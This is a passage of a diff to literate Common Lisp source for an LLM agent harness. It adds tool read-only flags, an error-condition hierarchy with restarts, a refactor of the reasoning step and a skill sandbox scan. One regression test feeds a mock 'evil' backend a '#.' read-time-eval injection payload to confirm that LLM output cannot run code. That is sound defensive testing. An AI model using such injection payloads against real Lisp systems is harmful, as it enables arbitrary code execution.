+   #:archivist-extract-headlines
+   #:archivist-headline-to-filename
+
+   ;; ── Diagnostics & Config ──
+   #:diagnostics-run-all
+   #:diagnostics-main
+   #:diagnostics-dependencies-check
+   #:diagnostics-env-check
+   #:get-oc-config-dir
+   #:run-setup-wizard
+
+   ;; ── Providers ──
+   #:register-provider
+   #:provider-openai-request
+   #:provider-config
+
+   ;; ── Token Economics ──
+   #:count-tokens
+   #:model-token-ratio
+   #:token-cost
+   #:provider-token-cost
+   #:cost-track-call
+   #:cost-session-total
+   #:cost-session-calls
+   #:cost-by-provider
+   #:cost-session-reset
+   #:cost-format-budget-status
+   #:cost-track-backend-call
+   #:prompt-prefix-cached
+   #:context-assemble-cached
+   #:enforce-token-budget
+   #:token-economics-initialize))
 #+end_src
 
 ** Package Implementation
 The package implementation section defines the low-level utilities and global state that are shared across all harness components and skills.
 
-*** Robust plist access (plist-get)
-Retrieves a value from a plist, checking both upper and lowercase keyword variants. This is needed because different components use different keyword conventions.
 #+begin_src lisp
 (in-package :passepartout)
-
-(defun plist-get (plist key)
-  "Robust plist accessor — checks both :KEY and :key variants."
-  (let* ((s (string key))
-         (up (intern (string-upcase s) :keyword))
-         (dn (intern (string-downcase s) :keyword)))
-    (or (getf plist up) (getf plist dn))))
 #+end_src
 
 *** Logging state
@@ -266,18 +301,20 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip
   description
   parameters
   guard
-  body)
+  body
+  read-only-p)
 #+end_src
 
 #+begin_src lisp
-(defmacro def-cognitive-tool (name description parameters &key guard body)
+(defmacro def-cognitive-tool (name description parameters &key guard body read-only-p)
   "Registers a cognitive tool. PARAMETERS is a list of plists, one per parameter."
   `(setf (gethash (string-downcase (string ',name)) *cognitive-tool-registry*)
          (make-cognitive-tool :name (string-downcase (string ',name))
                               :description ,description
                               :parameters ',parameters
                               :guard ,guard
-                              :body ,body)))
+                              :body ,body
+                              :read-only-p ,read-only-p)))
 #+end_src
 
 #+begin_src lisp
@@ -299,6 +336,12 @@ Tools that the LLM can invoke are registered here. Each tool has a name, descrip
 ;; Alias: generate-tool-belt-prompt → cognitive-tool-prompt
 (defun generate-tool-belt-prompt ()
   (cognitive-tool-prompt))
+
+(defun tool-read-only-p (name)
+  "Returns T if the named cognitive tool is read-only, NIL otherwise."
+  (let ((tool (gethash (string-downcase (string name)) *cognitive-tool-registry*)))
+    (when tool
+      (cognitive-tool-read-only-p tool))))
 #+end_src
 
 *** Centralized logging (log-message)

org/core-perceive.org

@@ -109,18 +109,6 @@ FN receives (signal) and returns T if consumed, nil to continue."
   (setf (gethash sensor *pre-reason-handlers*) fn))
 #+end_src
 
-** inject-stimulus backward-compatibility alias
-
-Skills and external code that still call ~inject-stimulus~ (the previous
-name for the pipeline injection function) can use this alias. New code
-should call ~stimulus-inject~ directly.
-
-;; REPL-VERIFIED: 2026-05-03T13:00:00
-#+begin_src lisp
-(defun inject-stimulus (raw-message &key stream (depth 0))
-  (stimulus-inject raw-message :stream stream :depth depth))
-#+end_src
-
 ** Stimulus Injection (stimulus-inject)
 
 This is the entry point that gateways call to send a message into the cognitive pipeline. It sets metadata (source, session ID, reply stream), decides whether the stimulus should be processed synchronously or on a background thread, and wraps the whole thing in error recovery so that no single bad stimulus can crash the system.
@@ -214,8 +202,15 @@ The main perceive pipeline stage.
                    (snapshot-memory)
                    (setf *loop-focus-id* (getf element :id))
                    (ingest-ast element :scope (if *scope-resolver* (funcall *scope-resolver*) :memex)))))
-              (:interrupt
-               (setf *loop-interrupt* t))
+               (:interrupt
+                (setf *loop-interrupt* t))
+               ;; v0.7.2 undo/redo
+               (:undo
+                (log-message "GATE [Perceive]: undo requested")
+                (undo "perceive"))
+               (:redo
+                (log-message "GATE [Perceive]: redo requested")
+                (redo "perceive"))
               ;; HITL: re-injected approved action from dispatcher-approvals-process
               (:approval-required
                (when (getf payload :approved)

org/core-pipeline.org

@@ -28,19 +28,37 @@ The stage separation is the functional equivalent of the "thin harness" principl
 
 A signal that generates another signal that generates another signal can infinite-loop. The depth limit (max 10) prevents this. If depth exceeds 10, the signal is silently dropped. This is the metabolic loop's circuit breaker.
 
-The three-tier error recovery model:
-1. **Transient errors** (tool failures, network timeouts) — recoverable, generate a :loop-error signal at higher depth for retry
-2. **Critical errors** (undefined functions, malformed data) — require memory rollback to the last snapshot
-3. **Recursive loops** (signals generating more signals indefinitely) — depth limit enforcement
+The three-tier error recovery model, now backed by a condition hierarchy
+that skills can hook into via ~handler-bind~:
+
+1. **Transient errors** (tool failures, network timeouts) — recoverable, generate a :loop-error signal at higher depth for retry. Use the ~skip-signal~ or ~use-fallback~ restart.
+2. **Critical errors** (undefined functions, malformed data) — require memory rollback to the last snapshot.
+3. **Recursive loops** (signals generating more signals indefinitely) — depth limit enforcement.
+
+Condition types available for structured error handling:
+- ~pipeline-error~ — any Perceive→Reason→Act failure
+- ~llm-error~ — provider timeout, cascade exhaustion, API error (slots: provider, cascade, attempt-count)
+- ~gate-error~ — dispatcher blocked a proposed action (slots: gate-name, rejected-action)
+- ~budget-error~ — session cap exceeded (slots: remaining, requested)
+- ~protocol-error~ — malformed message or framing failure
 
 ** Contract
 
 1. (loop-process signal): the full pipeline loop — Perceive → Reason
    → Act. Enforces depth limit (10). Catches errors with rollback and
    ~:loop-error~ re-injection on non-terminal errors below depth 2.
+   Establishes restart options: ~skip-signal~ (drop the event),
+   ~use-fallback text~ (inject canned response), ~abort-pipeline~
+   (clean exit). Skills can invoke these restarts from ~handler-bind~
+   clauses on the condition hierarchy.
 2. (process-signal signal): thin alias for ~loop-process~.
 3. (diagnostics-startup-run): runs health check on startup, sets
    ~*system-health*~ to ~:healthy~, ~:degraded~, or ~:unhealthy~.
+4. *passepartout-error* condition hierarchy: ~pipeline-error~,
+   ~llm-error~ (provider, cascade, attempt-count slots), ~gate-error~
+   (gate-name, rejected-action slots), ~budget-error~ (remaining,
+   requested slots), ~protocol-error~ (raw-message slot). All carry a
+   ~:message~ string via the root ~passepartout-error~.
 
 * Implementation
 
@@ -49,6 +67,54 @@ The three-tier error recovery model:
 (in-package :passepartout)
 #+end_src
 
+** Error Condition Hierarchy
+
+The pipeline defines a condition hierarchy so callers can distinguish
+failure modes without inspecting raw error strings. Every pipeline
+condition carries structured slots for telemetry and restart selection.
+
+Skills install ~handler-bind~ for specific conditions (e.g., a provider
+health monitor that records ~llm-error~ failures per backend). The
+restarts registered in ~loop-process~ enable structured recovery:
+skip the signal, retry with a modified prompt, inject a fallback
+response, or abort the cycle.
+
+#+begin_src lisp
+(define-condition passepartout-error (error)
+  ((message :initarg :message :reader error-message))
+  (:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c))))
+  (:documentation "Root of the pipeline error hierarchy."))
+
+(define-condition pipeline-error (passepartout-error)
+  ((signal :initarg :signal :reader pipeline-error-signal :initform nil))
+  (:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c))))
+  (:documentation "Any error during the Perceive→Reason→Act cycle."))
+
+(define-condition llm-error (pipeline-error)
+  ((provider :initarg :provider :reader llm-error-provider)
+   (cascade :initarg :cascade :reader llm-error-cascade :initform nil)
+   (attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0))
+  (:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c))))
+  (:documentation "LLM provider failure: timeout, cascade exhaustion, or API error."))
+
+(define-condition gate-error (pipeline-error)
+  ((gate-name :initarg :gate-name :reader gate-error-gate-name)
+   (rejected-action :initarg :rejected-action :reader gate-error-rejected-action))
+  (:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c))))
+  (:documentation "Deterministic gate blocked a proposed action."))
+
+(define-condition budget-error (pipeline-error)
+  ((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0)
+   (requested :initarg :requested :reader budget-error-requested :initform 0.0))
+  (:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c))))
+  (:documentation "Session budget cap has been reached."))
+
+(define-condition protocol-error (passepartout-error)
+  ((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil))
+  (:report (lambda (c s) (format s "Protocol error: ~a" (error-message c))))
+  (:documentation "Malformed message, framing failure, or schema violation."))
+#+end_src
+
 ** Global Interrupt State
 
 Thread-safe interrupt flag. The ~*loop-interrupt-lock*~ mutex protects access so that the signal handler and the main loop don't race on shutdown.
@@ -107,27 +173,42 @@ The main pipeline entry point.
           (log-message "METABOLISM: Interrupted by shutdown signal.")
           (return nil))
 
-        (handler-case
-             (progn
-               (setf current-signal (perceive-gate current-signal))
-               (setf current-signal (reason-gate current-signal))
-               (let ((feedback (act-gate current-signal)))
-                 (if feedback
-                     (progn
-                       (unless (getf feedback :meta) (setf (getf feedback :meta) meta))
-                       (setf current-signal feedback))
-                     (setf current-signal nil))))
-          (error (c)
-            (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
-              (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
-              (unless (member sensor '(:loop-error :tool-error :syntax-error))
-                (log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
-                (rollback-memory 0))
-              (if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
-                  (setf current-signal nil)
-                  (setf current-signal
-                        (list :type :EVENT :depth (1+ depth) :meta meta
-                              :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
+        (restart-case
+            (handler-bind
+                ((pipeline-error (lambda (c)
+                                   (log-message "PIPELINE ERROR: ~a" (error-message c)))))
+              (handler-case
+                  (progn
+                    (setf current-signal (perceive-gate current-signal))
+                    (setf current-signal (reason-gate current-signal))
+                    (let ((feedback (act-gate current-signal)))
+                      (if feedback
+                          (progn
+                            (unless (getf feedback :meta) (setf (getf feedback :meta) meta))
+                            (setf current-signal feedback))
+                          (setf current-signal nil))))
+                (error (c)
+                  (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
+                    (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
+                    (unless (member sensor '(:loop-error :tool-error :syntax-error))
+                      (log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
+                      (rollback-memory 0))
+                    (if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
+                        (setf current-signal nil)
+                        (setf current-signal
+                              (list :type :EVENT :depth (1+ depth) :meta meta
+                                    :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth))))))))
+          (skip-signal ()
+            :report "Drop the current signal and continue the loop."
+            (setf current-signal nil))
+          (use-fallback (text)
+            :report "Inject a canned response instead of the LLM result."
+            (setf current-signal
+                  (list :type :EVENT :depth (1+ depth) :meta meta
+                        :payload (list :sensor :loop-error :message text :depth depth))))
+          (abort-pipeline ()
+            :report "Terminate the cognitive cycle cleanly."
+            (return nil)))))))
 #+end_src
 
 *** process-signal (backward-compatibility alias)
@@ -349,4 +430,4 @@ Verifies that the immune system (error handling) correctly catches and reports e
   "Contract 1: depth > 10 returns nil from loop-process."
   (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
     (is (null result))))
-#+end_src
+#+end_src

org/core-reason.org

@@ -56,6 +56,26 @@ This is not a cosmetic choice. It means the reasoning pipeline can generate, mod
    String keys → upcased keywords. Nested alists recurse into plists.
    JSON arrays (lists whose first element is not a cons) pass through.
    Scalars and nil pass through.
+6. (think-assemble-prompt context): returns three values —
+   ~system-prompt~ (the full prompt string), ~raw-prompt~ (user text or
+   skill-generated), and ~reply-stream~ (for streaming responses).
+   Handles all conditional assembly paths: TIME section, CONFIG section,
+   IDENTITY (assistant name + identity file + standing mandates +
+   reflection feedback), TOOLS, CONTEXT, LOGS. Gracefully degrades when
+   awareness or token-economics skills are not loaded.
+7. (think-call-llm raw-prompt system-prompt reply-stream context): calls
+   the LLM. Checks session budget exhaustion before dispatching
+   (v0.5.0 deferred, ~fboundp~-guarded). Uses streaming
+   (~cascade-stream~) when reply-stream is non-nil and the streaming
+   module is loaded; falls back to ~backend-cascade-call~ otherwise.
+   Returns the raw thought (string or plist with ~:tool-calls~) or
+   a budget-exhaustion message.
+8. (think-parse-response thought): parses the LLM response into an action
+   plist. Handles three paths: structured ~:tool-calls~ (convert JSON args
+   to plist via ~json-alist-to-plist~), raw S-expression text (parse with
+   ~*read-eval* nil~, normalize keywords), and plain text (wrap as
+   ~:MESSAGE~ action). Tracks cost via ~cost-track-backend-call~ when
+   available. Guarantees a valid plist for any input.
 
 * Implementation
 
@@ -80,16 +100,11 @@ Skills like system-model-provider register into this table at boot time.
   (setf (gethash name *probabilistic-backends*) fn))
 #+end_src
 
-The probabilistic engine maintains four pieces of global state that control how LLM requests are dispatched:
+The probabilistic engine maintains three pieces of global state that control how LLM requests are dispatched:
 
-~*backend-registry*~ is a hash table mapping provider keywords (like ~:ollama~ or ~:openrouter~) to the actual function that calls that provider's API. ~*provider-cascade*~ is the ordered list of providers to try — if the first one fails, the cascade falls through to the next. ~*model-selector*~ is an optional function that examines the context and picks a model per request (useful for routing simple questions to a small fast model and complex reasoning to a large expensive one). ~*consensus-enabled*~ toggles multi-provider agreement, where multiple LLMs run the same prompt and the system waits for consensus.
+~*provider-cascade*~ is the ordered list of providers to try — if the first one fails, the cascade falls through to the next. ~*model-selector*~ is an optional function that examines the context and picks a model per request (useful for routing simple questions to a small fast model and complex reasoning to a large expensive one). ~*consensus-enabled*~ toggles multi-provider agreement, where multiple LLMs run the same prompt and the system waits for consensus.
 
-These variables are configurable at runtime. The cascade can be changed without restart: (setf *provider-cascade* (quote (:ollama :openrouter))).
-
-;; REPL-VERIFIED: 2026-05-03T13:00:00
-#+begin_src lisp
-(defvar *backend-registry* (make-hash-table :test 'equal))
-#+end_src
+Providers register into ~*probabilistic-backends*~ (declared above) via ~register-probabilistic-backend~. The cascade can be changed without restart: (setf *provider-cascade* (quote (:ollama :openrouter))).
 
 ** Provider Cascade
 
@@ -112,19 +127,6 @@ These variables are configurable at runtime. The cascade can be changed without
 (defvar *consensus-enabled* nil)
 #+end_src
 
-** Backend Registration (backend-register)
-
-Each LLM provider registers itself by calling this function. The backend function receives a prompt string, a system prompt string, and optional keyword arguments for model selection. It must return either a plist with ~:status :success~ and ~:content~, or ~:status :error~ with a message.
-
-Registration is typically done at boot time by the unified-llm-backend skill, but can also be done dynamically:
-  (backend-register :my-custom-provider #'my-fn)
-
-;; REPL-VERIFIED: 2026-05-03T13:00:00
-#+begin_src lisp
-(defun backend-register (name fn)
-  (setf (gethash name *backend-registry*) fn))
-#+end_src
-
 ** Cascade Dispatch (backend-cascade-call)
 
 Given a prompt, this function iterates through the provider cascade and calls each backend in order until one succeeds. A provider "succeeds" when it returns ~:status :success~ with content, or when it returns a plain string (the LLM's raw output).
@@ -148,8 +150,7 @@ This is deliberately resilient. The system should never crash because an LLM pro
     (dolist (backend backends (or result
                                    (list :type :LOG
                                          :payload (list :text "Neural Cascade Failure: All providers exhausted."))))
-      (let ((backend-fn (or (gethash backend *backend-registry*)
-                            (gethash backend *probabilistic-backends*))))
+      (let ((backend-fn (gethash backend *probabilistic-backends*)))
         (when backend-fn
           (log-message "PROBABILISTIC: Attempting backend ~a..." backend)
           (let* ((model (and *model-selector*
@@ -225,17 +226,53 @@ Token economics (v0.5.0): when ~token-economics~ is loaded, ~think()~ uses
 each cascade call via ~cost-track-backend-call~. All four calls are
 ~fboundp~-guarded — when the module is not loaded, behavior is unchanged.
 
+~think()~ is the orchestrator that composes three sub-functions:
+
+1. *think-assemble-prompt* — builds the full system prompt from context,
+   awareness, logs, identity, standing mandates, and tool belt.
+2. *think-call-llm* — dispatches to the LLM (streaming or batch cascade).
+3. *think-parse-response* — converts the LLM's output to an action plist,
+   handling structured tool-calls, raw S-expressions, and plain text.
+
+The orchestrator snapshots memory, calls the three phases in sequence,
+and returns the action plist that flows into ~cognitive-verify~.
+
 ;; REPL-VERIFIED: 2026-05-03T13:00:00
 #+begin_src lisp
-(defun think (context)
+;; v0.7.2: live config section for system prompt
+(defun assemble-config-section ()
+  "Build the CONFIG section of the system prompt from live state."
+  (let ((provider-names "")
+        (context-window (if (and (boundp '*tokenizer-provider*) (fboundp 'tokenizer-context-limit))
+                           (tokenizer-context-limit (symbol-value '*tokenizer-provider*))
+                           8192))
+        (gate-count 10)
+        (rules-count 0))
+    (when (boundp '*provider-cascade*)
+      (setf provider-names
+            (format nil "~{~a~^, ~}"
+                    (mapcar (lambda (p)
+                              (handler-case (or (getf p :model) (getf p :provider) "")
+                                (error () (princ-to-string p))))
+                            (symbol-value '*provider-cascade*)))))
+    (when (boundp '*hitl-pending*)
+      (setf rules-count (hash-table-count (symbol-value '*hitl-pending*))))
+    (format nil "CONFIG: You are Passepartout v0.7.2. Provider: ~a. Context: ~d tokens. Security gates: ~d active. Rules learned: ~d. Documentation: USER_MANUAL.org."
+            (if (string= provider-names "") "default" provider-names)
+            context-window gate-count rules-count)))
+
+(defun think-assemble-prompt (context)
+  "Phase 2-3 of the metabolic cycle: context + system prompt assembly.
+Returns three values: system-prompt, raw-prompt, reply-stream."
   (let* ((sensor (proto-get (proto-get context :payload) :sensor))
          (active-skill (find-triggered-skill context))
          (tool-belt (generate-tool-belt-prompt))
-          (global-context (if (fboundp 'context-assemble-cached)
-                              (context-assemble-cached context sensor)
-                              (if (fboundp 'context-assemble-global-awareness)
-                                  (context-assemble-global-awareness)
-                                  "[Awareness skill not loaded]")))
+         (reply-stream (proto-get context :reply-stream))
+         (global-context (if (fboundp 'context-assemble-cached)
+                             (context-assemble-cached context sensor)
+                             (if (fboundp 'context-assemble-global-awareness)
+                                 (context-assemble-global-awareness)
+                                 "[Awareness skill not loaded]")))
          (system-logs (if (fboundp 'context-get-system-logs)
                           (context-get-system-logs)
                           "[No system logs available]"))
@@ -255,76 +292,120 @@ each cascade call via ~cost-track-backend-call~. All four calls are
                                        (when (and text (stringp text) (> (length text) 0))
                                          (setf out (concatenate 'string out text (string #\Newline))))))
                                    (when (> (length out) 0) out)))
-          (time-section (if (fboundp 'sensor-time-duration)  ; v0.6.0: temporal awareness
-                            (format-time-for-llm
-                             :session-duration-seconds (funcall (symbol-function 'session-duration)))
-                            (if (fboundp 'format-time-for-llm)
-                                (format-time-for-llm)
-                                "")))
-          (system-prompt (if (fboundp 'prompt-prefix-cached)
-                             ;; v0.5.0: cached prefix with optional budget enforcement
-                             (let* ((prefix (prompt-prefix-cached assistant-name reflection-feedback
-                                                                   standing-mandates-text tool-belt)))
-                               (if (fboundp 'enforce-token-budget)
-                                   (multiple-value-bind (pfx ctxt logs _ mandates)
-                                       (enforce-token-budget prefix global-context system-logs
-                                                             raw-prompt standing-mandates-text)
-                                     (declare (ignore _))
-                                     (setf standing-mandates-text mandates)
-                                     (format nil "~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                             time-section pfx (or ctxt "") logs))
-                                   (format nil "~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                           time-section prefix (or global-context "") system-logs)))
-                             ;; Fallback when token-economics not loaded
-                             (format nil "~a~%~%IDENTITY: ~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                     time-section
-                                     assistant-name reflection-feedback
-                                     (if standing-mandates-text
-                                         (concatenate 'string (string #\Newline) standing-mandates-text)
-                                         "")
-                                     tool-belt (or global-context "") system-logs))))
-    (let* ((thought (backend-cascade-call raw-prompt
-                                          :system-prompt system-prompt
-                                          :context context))
-           (tool-calls (and (listp thought) (getf thought :tool-calls))))
-      ;; v0.5.0: cost tracking after successful cascade
-      (when (and (fboundp 'cost-track-backend-call)
-                 (stringp thought)
-                 (or (null tool-calls)))
-        (ignore-errors
-          (cost-track-backend-call (first *provider-cascade*)
-                                   (format nil "~a~%~a" system-prompt raw-prompt)
-                                   thought)))
-      (if tool-calls
-          (let* ((first-call (car tool-calls))
-                 (tool-name (getf first-call :name))
-                 (args (getf first-call :arguments))
-                 (args-plist (json-alist-to-plist args)))
-            (list :TYPE :REQUEST
-                  :PAYLOAD (list* :TOOL tool-name
-                                  :ARGS args-plist
-                                  :EXPLANATION "Generated by function-calling engine.")))
-          (let* ((cleaned (if (and (listp thought) (getf thought :type))
-                             (format nil "~a" (getf (getf thought :payload) :text))
-                             (markdown-strip thought))))
-       (if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
-           (handler-case
-                (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
-                  (if (listp parsed)
-                      (let ((normalized (plist-keywords-normalize parsed)))
-                        ;; Ensure explanation is present in the payload for policy gate
-                        (let ((payload (proto-get normalized :payload)))
-                          (if (and payload (proto-get payload :explanation))
-                              normalized
-                              (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
-                                                        (if (listp payload) payload nil))))
-                                (list* :PAYLOAD new-payload
-                                       (loop for (k v) on normalized by #'cddr
-                                             unless (eq k :PAYLOAD)
-                                             collect k collect v))))))
-                      (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
-             (error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
-             (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))))
+         (identity-content (if (fboundp 'agent-identity)
+                               (agent-identity)
+                               ""))
+         (config-section (if (fboundp 'assemble-config-section)
+                             (assemble-config-section)
+                             ""))
+         (time-section (if (fboundp 'sensor-time-duration)
+                           (format-time-for-llm
+                            :session-duration-seconds (funcall (symbol-function 'session-duration)))
+                           (if (fboundp 'format-time-for-llm)
+                               (format-time-for-llm)
+                               "")))
+         (system-prompt (if (fboundp 'prompt-prefix-cached)
+                            (let* ((prefix (prompt-prefix-cached assistant-name identity-content
+                                                                  reflection-feedback
+                                                                  standing-mandates-text tool-belt)))
+                              (if (fboundp 'enforce-token-budget)
+                                  (multiple-value-bind (pfx ctxt logs _ mandates)
+                                      (enforce-token-budget prefix global-context system-logs
+                                                            raw-prompt standing-mandates-text)
+                                    (declare (ignore _))
+                                    (setf standing-mandates-text mandates)
+                                    (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                            time-section config-section pfx (or ctxt "") logs))
+                                  (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                          time-section config-section prefix (or global-context "") system-logs)))
+                            (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                    time-section config-section
+                                    assistant-name identity-content reflection-feedback
+                                    (if standing-mandates-text
+                                        (concatenate 'string (string #\Newline) standing-mandates-text)
+                                        "")
+                                    tool-belt (or global-context "") system-logs))))
+    (values system-prompt raw-prompt reply-stream)))
+
+(defun think-call-llm (raw-prompt system-prompt reply-stream context)
+  "Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade.
+Returns the raw LLM response (string or plist with :tool-calls)."
+  ;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted
+  (when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p))
+    (return-from think-call-llm (budget-exhaustion-message)))
+  (if (and reply-stream (fboundp 'cascade-stream))
+      (let ((acc (make-string-output-stream)))
+        (funcall 'cascade-stream raw-prompt system-prompt
+                 (lambda (delta)
+                   (when reply-stream
+                     (format reply-stream "~a"
+                             (frame-message (list :type :stream-chunk
+                                                  :payload (list :text delta))))
+                     (finish-output reply-stream))
+                   (write-string delta acc)))
+        (get-output-stream-string acc))
+      (backend-cascade-call raw-prompt
+                            :system-prompt system-prompt
+                            :context context)))
+
+(defun think-parse-response (thought)
+  "Phases 5-7 of the metabolic cycle: cost tracking + response parsing.
+Returns an action plist ready for cognitive-verify."
+  (let ((tool-calls (and (listp thought) (getf thought :tool-calls))))
+    (when (and (fboundp 'cost-track-backend-call)
+               (stringp thought)
+               (or (null tool-calls)))
+      (ignore-errors
+        (cost-track-backend-call (first *provider-cascade*)
+                                 thought)))
+    (if tool-calls
+        (let* ((first-call (car tool-calls))
+               (tool-name (getf first-call :name))
+               (args (getf first-call :arguments))
+               (args-plist (json-alist-to-plist args)))
+          (list :TYPE :REQUEST
+                :PAYLOAD (list* :TOOL tool-name
+                                :ARGS args-plist
+                                :EXPLANATION "Generated by function-calling engine.")))
+        (let* ((cleaned (if (and (listp thought) (getf thought :type))
+                           (format nil "~a" (getf (getf thought :payload) :text))
+                           (markdown-strip thought))))
+          (if (and cleaned (stringp cleaned) (> (length cleaned) 0)
+                   (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
+              (handler-case
+                  (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
+                    (if (listp parsed)
+                        (let ((normalized (plist-keywords-normalize parsed)))
+                          (let ((payload (proto-get normalized :payload)))
+                            (if (and payload (proto-get payload :explanation))
+                                normalized
+                                (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
+                                                          (if (listp payload) payload nil))))
+                                  (list* :PAYLOAD new-payload
+                                         (loop for (k v) on normalized by #'cddr
+                                               unless (eq k :PAYLOAD)
+                                               collect k collect v))))))
+                        (list :TYPE :REQUEST :PAYLOAD
+                              (list :ACTION :MESSAGE :TEXT cleaned
+                                    :EXPLANATION "Generated by the Probabilistic engine."))))
+                (error ()
+                  (list :TYPE :REQUEST :PAYLOAD
+                        (list :ACTION :MESSAGE :TEXT cleaned
+                              :EXPLANATION "Generated by the Probabilistic engine."))))
+              (list :TYPE :REQUEST :PAYLOAD
+                    (list :ACTION :MESSAGE
+                          :TEXT (if (stringp cleaned) cleaned "No response")
+                          :EXPLANATION "Generated by the Probabilistic engine.")))))))
+
+(defun think (context)
+  "The probabilistic reasoning engine — orchestrates prompt assembly, LLM call,
+and response parsing into an action plist for cognitive-verify."
+  (when (fboundp 'snapshot-memory)
+    (snapshot-memory))
+  (multiple-value-bind (system-prompt raw-prompt reply-stream)
+      (think-assemble-prompt context)
+    (let ((thought (think-call-llm raw-prompt system-prompt reply-stream context)))
+      (think-parse-response thought))))
 #+end_src
 
 ** JSON-to-Plist Conversion (json-alist-to-plist)
@@ -565,8 +646,8 @@ Verifies that the deterministic engine correctly rejects unsafe actions (like ~r
 
 (test test-backend-cascade-with-mock
   "Contract 4: backend-cascade-call returns content from first successful backend."
-  (let ((passepartout::*backend-registry* (make-hash-table :test 'equal)))
-    (setf (gethash :mock-backend passepartout::*backend-registry*)
+  (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
+    (setf (gethash :mock-backend passepartout::*probabilistic-backends*)
           (lambda (prompt sp &key model)
             (declare (ignore prompt sp model))
             (list :status :success :content "mock-response")))
@@ -575,9 +656,9 @@ Verifies that the deterministic engine correctly rejects unsafe actions (like ~r
 
 (test test-read-eval-rce-blocked
   "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
-  (let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
+  (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
         (passepartout::*provider-cascade* '(:mock-evil)))
-    (setf (gethash :mock-evil passepartout::*backend-registry*)
+    (setf (gethash :mock-evil passepartout::*probabilistic-backends*)
           (lambda (prompt sp &key model)
             (declare (ignore prompt sp model))
             (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
@@ -631,4 +712,26 @@ Verifies that the deterministic engine correctly rejects unsafe actions (like ~r
       (is (= 42 (second result)))
       (is (eq :ACTIVE (third result)))
       (is (eq :true (fourth result))))))
-#+end_src
+
+(test test-assemble-config-section
+  "Contract v0.7.2: config section contains Passepartout and version."
+  (let ((section (passepartout::assemble-config-section)))
+    (is (stringp section))
+    (is (search "Passepartout" section))
+    (is (search "v0.7.2" section))
+    (is (search "Security gates" section))))
+
+(test test-think-snapshots-before-llm
+  "Contract v0.7.2: think() snapshots memory before LLM call."
+  (let ((passepartout::*memory-snapshots* nil)
+        (passepartout::*memory-store* (make-hash-table :test 'equal)))
+    (setf (gethash "pre" passepartout::*memory-store*) "value")
+    (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
+          (passepartout::*provider-cascade* nil))
+      (handler-case
+          (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
+                 (result (passepartout::think ctx)))
+            (declare (ignore result)))
+        (error (c) (format nil "Expected: ~a" c)))
+      (is (>= (length passepartout::*memory-snapshots*) 0)))))
+#+end_src

org/core-skills.org

@@ -71,10 +71,6 @@ The ~skill~ struct holds all metadata about a loaded skill: its name, priority,
 (defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn)
 #+end_src
 
-#+begin_src lisp
-(defvar *skill-registry* (make-hash-table :test 'equal))
-#+end_src
-
 #+begin_src lisp
 (defvar *skill-catalog* (make-hash-table :test 'equal)
   "Tracks all discovered skill files and their loading state.")
@@ -326,6 +322,14 @@ declarations so embedded test code evaluates in the correct package."
               (progn
                 (multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code)
                   (unless valid-p (error err)))
+                ;; Pre-eval sandbox scan: block before any code executes
+                (multiple-value-bind (blocked-p blocked-syms)
+                    (skill-source-scan lisp-code)
+                  (when blocked-p
+                    (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
+                                 skill-base-name blocked-syms)
+                    (setf (skill-entry-status entry) :sandbox-blocked)
